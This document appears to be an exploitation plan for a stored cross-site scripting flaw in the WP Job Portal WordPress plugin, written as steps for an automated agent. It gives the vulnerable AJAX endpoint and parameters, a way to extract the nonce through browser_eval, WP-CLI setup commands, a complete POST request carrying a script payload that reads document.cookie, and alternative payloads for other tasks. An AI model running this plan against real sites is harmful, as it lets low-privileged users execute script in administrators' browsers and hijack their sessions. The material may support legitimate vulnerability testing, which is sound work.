Exploitation Research Plan - CVE-2026-48880

1. Vulnerability Summary

The WP Job Portal plugin (<= 2.5.2) contains a Stored Cross-Site Scripting (XSS) vulnerability. The vulnerability exists in the plugin's centralized AJAX handling mechanism. Specifically, the WPJOBPORTALajax::ajaxhandler function in includes/ajax.php allows authenticated users (with Subscriber/Jobseeker roles) to call a wide range of internal "tasks" across various modules. Many of these tasks (such as job applications or resume updates) store user-supplied input in the database without proper sanitization. Furthermore, the AJAX handler echoes the results of these tasks directly to the page without escaping, and the stored data is subsequently rendered unsanitized in administrative or employer-facing views.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: wpjobportal_ajax
• Vulnerable Parameters: task, wpjobportalme, and module-specific data parameters (e.g., message, tag_name, comment).
• Authentication: Required (Subscriber/Jobseeker level).
• Vulnerable Hook: wp_ajax_wpjobportal_ajax and wp_ajax_nopriv_wpjobportal_ajax in includes/ajax.php.
• Preconditions: A Jobseeker account is needed to access the dashboard and perform actions like applying for jobs or managing resumes.

3. Code Flow

1. Entry Point: A request is sent to admin-ajax.php with the action wpjobportal_ajax.
2. Dispatcher: includes/ajax.php calls WPJOBPORTALajax::ajaxhandler().
3. Task Validation: The function checks if the requested task is in the $fucntin_allowed array.
4. Module Loading: It retrieves the wpjobportalme parameter (the module name) and sanitizes it via sanitize_key().
5. Dynamic Call: It uses WPJOBPORTALincluder::getJSModel($wpjobportal_module)->$wpjobportal_task() to execute the logic.
6. Persistence (Sink): If the task is jobapply or storeResumeComments, the model saves the user-provided input (like a message or comment) into the database (typically in wj_portal_job_apply or similar custom tables).
7. Rendering (Sink): When an Admin or Employer views the "Applied Jobs" or "Resume" section, the stored malicious script is executed in their browser context.

4. Nonce Acquisition Strategy

The AJAX handler in includes/ajax.php does not perform a nonce check (check_ajax_referer) at the dispatcher level. However, individual model functions may verify a nonce. To obtain a valid nonce for a Jobseeker:

1. Setup Page: Create a page containing the Jobseeker Control Panel shortcode:
   wp post create --post_type=page --post_status=publish --post_content='[wpjobportal_jobseeker_controlpanel]'
2. Navigate: Use browser_navigate to visit the newly created page.
3. Extract: The plugin localizes its variables in a global JavaScript object, typically wjportal_obj or wpjobportal_vars.
4. Tool Call: Use browser_eval to find the nonce:
   browser_eval("window.wjportal_obj?.nonce || window.wpjobportal_vars?.nonce")
5. Manual Check: If the variable name differs, inspect the page source for wp_localize_script output near the wp-job-portal JS inclusions.

5. Exploitation Strategy

We will use the jobapply task, as it is a common way for Jobseekers to interact with Employers/Admins.

Step 1: Identify a Target Job

Identify an existing job ID. If none exists, create one via WP-CLI:
wp post create --post_type=job --post_title="Target Job" --post_status=publish (Note: job is the custom post type for this plugin).

Step 2: Perform the Injection

Submit a job application with an XSS payload in the message field.

• Request Type: POST
• URL: http://[target]/wp-admin/admin-ajax.php
• Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: wpjobportal_ajax
  • task: jobapply
  • wpjobportalme: job
  • jobid: [JOB_ID]
  • message: <script>alert(document.cookie)</script>
  • resumeid: 0 (or a valid resume ID if one exists)
  • nonce: [EXTRACTED_NONCE]

Step 3: Trigger the XSS

Log in as an Administrator and navigate to the Job Portal -> Applied Jobs section in the WordPress dashboard. The script will execute when the list of applications is rendered.

6. Test Data Setup

1. Plugin Configuration: Ensure the plugin is active.
2. User Creation:
   • Create an admin user (for verification).
   • Create a subscriber user: wp user create attacker attacker@example.com --role=subscriber.
3. Shortcode Page:
   • wp post create --post_type=page --post_title="Dashboard" --post_status=publish --post_content='[wpjobportal_jobseeker_controlpanel]'
4. Job Listing:
   • Ensure at least one job exists for the application to target.

7. Expected Results

• The AJAX request should return a success message (e.g., "Applied Successfully").
• Upon viewing the "Applied Jobs" table in the admin panel, an alert box showing the admin's cookies should appear.
• The database entry for the application should contain the raw <script> tag.

8. Verification Steps

1. Check Database:
   Use WP-CLI to inspect the application data:
   wp db query "SELECT message FROM wp_wj_portal_job_apply ORDER BY id DESC LIMIT 1;"
   Verify the output contains the unescaped script tag.
2. Simulate View:
   Navigate to the admin page /wp-admin/admin.php?page=wpjobportal_appliedjobs (inferred slug) and check if the payload triggers.

9. Alternative Approaches

• Task: storeResumeComments: If the jobapply task is patched, try adding a comment to a resume.
  • task: storeResumeComments
  • wpjobportalme: resume
  • comment: <img src=x onerror=alert(1)>
• Task: saveTokenInputTag: Inject XSS into "Skills" or "Tags" which are often rendered in profile headers.
  • task: saveTokenInputTag
  • wpjobportalme: resume
  • tag_name: XSS_PAYLOAD
• Unauthenticated Check: Test if nopriv_wpjobportal_ajax actually allows these tasks without login, as suggested by the registration in includes/ajax.php. If so, the severity is High.